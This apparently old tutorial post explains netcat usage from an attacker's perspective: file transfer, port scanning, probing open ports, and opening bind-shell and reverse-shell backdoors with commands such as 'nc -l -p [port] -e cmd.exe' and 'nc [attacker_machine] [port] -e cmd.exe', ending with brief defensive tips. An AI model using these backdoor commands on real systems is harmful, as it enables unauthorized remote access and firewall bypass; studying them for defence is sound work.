NetCat : Jack Of All Trades Network Tool

Netcat can be used by attackers & administrators to do most of common network activities . In fact Netcat is so useful that if tell you to choose one attacking tool , of cource you'll choose netcat !

Netcat design's map in so stupid basic ! It look likes CAT command under unix and it let the user to transfer data into network but it doesn't transfer all of data into a place like cat , also it'll transfer any data on any UDP or TCP port .

First Netcat was programmed by Hobbit for different versions of unix (Ultrix , Irix Linux , Solaris) and it was published on 1998 . Hobbit Netcat is available on this site : www.l0pht.com/users/l0pht/nc110.tgz , on 1998 Early , weld pond has programmed Win32 version of netcat that can be downloaded from : www.l0pht.com/weld/Netcat/ . Unix and Win32 versions of netcat are at the same and let the attackers to transfer data between different versions of Operaning Systems .

Netcat is Jack Of All Trades network tool that has uses to recieve and send data from any UDP or TCP port to UDP or TCP port .

Netcat works into two modes : 1 . Listen 2 . Client , Netcat can used to connect any UDP or TCP port on another machine , it sends input data from Standard input (etc , keyboard) , in Listen mode (that called by L command) , netcat will open a UDP ot TCP port and waits for input data on that port . Netcat Listeners send all of obtained data from network to standard output that can be displayed on monitor or send to other programs , in fact that's one of netcat abilities and smart hackers use these abilities to design netcat attacks . Let's look to most of them .

Using netcat for transfering files

one of the biasic uses of netcat is transfering files between two machines . most of servers and networks have blocked sending or recieving data from FTP and usually attackers cannot transfer files by this way , but if the attacker installed a Netcat Listener on a local Network system , we can transfer files via UDP or TCP port to local system .

attacker could transfer files using pushing or pulling method , while the attacker sends file using pulling method , first installs a netcat listener on destination system then waits for special port and after connecting , converts output data into a file . on source system , attacker uses the netcat on client mode to connect to special port va transfer file using pulling method . That's transfer commands :

Destination machine recieving file : $nc -l -p 1234 > [file]
Source machine sending file : $nc [remote_machine] 1234 < [file]

Or attacker could install netcat on listener mode and get the file from destination machine and sends the file to netcat's Input , that's the commands :

Source file , offering file to transfer : $nc -l -p 1234 < [file]
Destination machine , pulling file : $nc [remote_machine] 1234 > [file]

How to scanning ports by Netcat

Netcat uses standard "vanilla" method for scanning ports , that's the scanning command :

$nc -v -w 3 [target_machine] [startport] - [endport]

About Commands >
nc : client mode (default)
-v : display verbose output
3 : limit wait for network traffic to 3 seconds
[startport] - [endport] : scan these ports (etc , 1 - 10)
this command scans the area ports between startport and endport , -v (verbose) shows list of open ports .

Using netcat for connecting to open ports

when the attacker finds open ports via scanning , after that , attacker must connect to open ports and then tries to find more information about it or crash it . attacker could insert raw data into input of port to saw what information can be found and attacker could crash ports by inserting raw data . Connecting to open port is so easy , just type this command :

$nc -u [target_machine] [portnumber]

Maybe you thing that we can connect to open ports by Telnet instead of using netcat , and telnet client sends data to TCP port (23) , can lead the netcat to send data to any TCP port , but netcat is more useful to do it , that's why :

1 . we can send netcat output into a file more easily than telnet , we can do it by > character under unix and WIN2k to send any output to file

2 . disconneting under netcat is so easily that telnet , after recieving or sending data to open ports , CTRL-C will attemp to disconnect . when we use telnet for connecting to open port , using invalid character crashesh telnet and after that we must terminate telnet to reset the connection .

3 . telnet puts error messeges like " connection closed By foreign host " on standard output , but output of netcat just includes data that came of connected port and it doesn't put more data on output .

4 . telnet cannot open UDP connections but netcat manage them like a Professional !

How to use netcat as Backdoor

one of basic and useful Exert of netcat , is using as a backdoor on special port . when attackers connect to the port , they can running any command as system , so that's the command :

$nc -l -p [port] -e cmd.exe

Command profile :

-l : Listen mode

-e : excute a command shell when someone connects

[port] : port to listen

and attacker could connect by this command :

$nc [victim_machine] [port]

if there's firewall on network , attacker cannot connect to the open port .

Using Netcat as a backdoor by push method

another technic for using netcat as a backdoor is going on with push method , that's the command :

Attacker's machine : $nc -l -p [port]

-l : listen mode

-p : port to listen

then , attacker tries to connect to victim machine (most of the time by buffer overflaw) and then tell the machine to

send shell command to attacker's machine , here's the command :
Victims's machine : $nc [attacker_machine] [port] -e cmd.exe
the most advantage of using this method to use netcat as backdoor , that's why it let's the attacker bypassing firewall and connect to the victim's machine .

How to protect against Netcat Attacks

- Secure ports area : your system configration must set to minimum listening port that's really needed
- Arrest Transfering Netcat : you must set your firewalls to restrict input and output network traffic against transfering files .

By : Ehsan Omidvar
ehsan_omidvar@mail.com